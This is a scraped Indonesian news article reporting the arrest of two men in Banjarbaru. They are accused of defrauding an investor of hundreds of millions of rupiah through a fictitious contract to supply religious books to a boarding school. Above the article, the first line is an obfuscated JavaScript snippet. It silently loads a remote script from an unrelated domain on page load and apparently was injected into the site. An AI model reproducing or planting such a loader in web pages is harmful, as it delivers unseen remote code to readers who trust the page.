(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dua orang pemuka agama atau ustadz di Kota Banjarbaru diringkus Kepolisian Sektor (Polsek) Banjarbaru Utara.
Dua lelaki itu harus merasakan sel bui lantaran berulah melakukan kegiatan pemalsuan surat, penipuan, dan penggelapan terkait pengadaan kitab-kitab pelajaran agama untuk salah satu pondok pesantren di Kota Banjarbaru.
Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda melalui Kapolsek Banjarbaru Utara Kompol Heru Setiawan mengungkap kronologi penipuan pengadaan kitab pelajaran agama Islam itu. Terjadi pada Minggu (16/3/2025) sekitar pukul 16.28 Wita di komplek Permata Hijau, Kelurahan Sungai Ulin, Kecamatan Banjarbaru Utara.
“Pada waktu itu telah terjadi perkara pidana pemalsuan dokumen dan atau penipuan dan atau penggelapan dan atau turut serta yang dilakukan pelaku berinisial MS alias Ustadz S atau Guru S dan pelaku dua berinisial RP alias Kanit,” ujar Kapolsek Banjarbaru Utara Kompol Heru Setiawan dalam keterangan pers, Selasa (8/7/2025) siang.
Baca juga: Juara Umum MTQ, Anggota Kafilah Berprestasi Kabupaten Banjar Dapat Bonus dan Paket Umroh
Polsek Banjarbaru Utara mengungkap kasus penipuan melibatkan Ustadz S yang melakukan pemalsuan pengadaan kitab agama Islam untuk salah satu pondok pesantren, Selasa (8/7/2025) siang. Foto: wanda
MS alias Ustadz S, kata Kapolsek Banjarbaru Utara, dikenal sebagai penceramah atau bisa disebut seorang ustadz sekaligus sebagai seorang penyedia kitab-kitab pelajaran agama Islam. Dirinya mendapat satu target investor yang menjadi korban atas nama Asikin Noor.
Ustadz S menawarkan kerjasama pengadaan kitab pelajaran agama kepada Asikin Noor sebagai investor atau pemilik modal dengan menunjukkan kontrak antara pelaku MS dengan pihak salah satu pondok pesantren senilai Rp1.335.478.800.
“MS juga menunjukkan RAB (Rencana Anggaran Belanja) dengan membutuhkan biaya sebesar Rp1.112.899.000 untuk menyuplai ke pondok pesantren yang ada di Banjarbaru, dan dalam kerjasama tersebut keuntungan laba bersih sebesar Rp200.579.800,” jelas Kompol Heru Setiawan.
Ustadz S mengatakan bahwa investor atau pemilik modal akan mendapatkan dua pertiga keuntungan yaitu sebesar Rp134.388.466.
Baca juga: Tabligh Akbar Tahun Baru Hijriah di Bundaran Sholawat Jibril Kota Amuntai
Dan untuk lebih menyakinkan pemilik modal, Ustadz S menunjukkan pada Asikin Noor bukti transfer dari pondok pesantren sebagai uang DP atau uang muka sebesar Rp93.500.000.
Sehingga membuat korban Asikin Noor percaya dan mau untuk melakukan kerjasama tersebut.
“Kemudian MS meminta kepada korban untuk mentransfer ke rekening toko kitab untuk pembelian buku sebesar 70% dari nilai kontrak, dengan ditambah uang DP yang masuk ke rekening korban, dan kemudian mengarahkan korban untuk mengirim uang yang 70% ke rekening pemilik toko kitab dengan nomor rekening atas nama M Sarkani pada 16 Maret 2025 sebesar Rp100 juta,” beber Kapolsek Banjarbaru Utara.
Kemudian pada tanggal 17 Maret 2025 mentransfer lagi sebesar Rp200 juta. Ustadz S menyuruh Asikin Noor untuk mengirim uang ke rekening istri dari M Sarkani sebesar Rp200 juta.
Baca juga: Lewat Dana Desa 2025, Pemdes Danau Rawah Genjot Pembangunan Infrastruktur
Korban pun mengirim melalui Brilink kepada rekening bank istri M Sarkani sebesar Rp279 juta, sehingga total yang dikirim sebesar Rp779.029.000.
“Setelah ditunggu waktu yang cukup lama, tidak ada kabar dari MS, sehingga korban melaporkan kejadian tersebut pada pihak kepolisian,” kata Kompol Heru Setiawan.
Polisi melakukan penyelidikan dan menemukan fakta bahwa kontrak kerjasama yang telah diiming-imingkan kepada Asikin Noor ternyata adalah fiktif. Dimana yang membuat kontrak fiktif tersebut adalah pelaku kedua yakni RP alias Kanit.
Polisi juga mendapati fakta bahwa perbuatan tersebut sudah direncanakan bersama dengan dengan pelaku MS, dan kejadian tersebut sudah berulang kali terjadi kepada orang lain.
Baca juga: 435 Anak Yatim Terima Santunan, Ini Kata Wali Kota Lisa Halaby
“Dengan adanya kejadian ini korban menderita kerugian sebesar Rp685.529.300,” sebut Kapolsek.
Atas perbuatan itu, kedua pelaku diancam hukuman pidana 8 tahun penjara sebagaimana pasal 263 ayat 1 dan 2 KUHP sub pasal 264 KUHP sub, pasal 378 KUHP sub pasal 372 KUHP. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.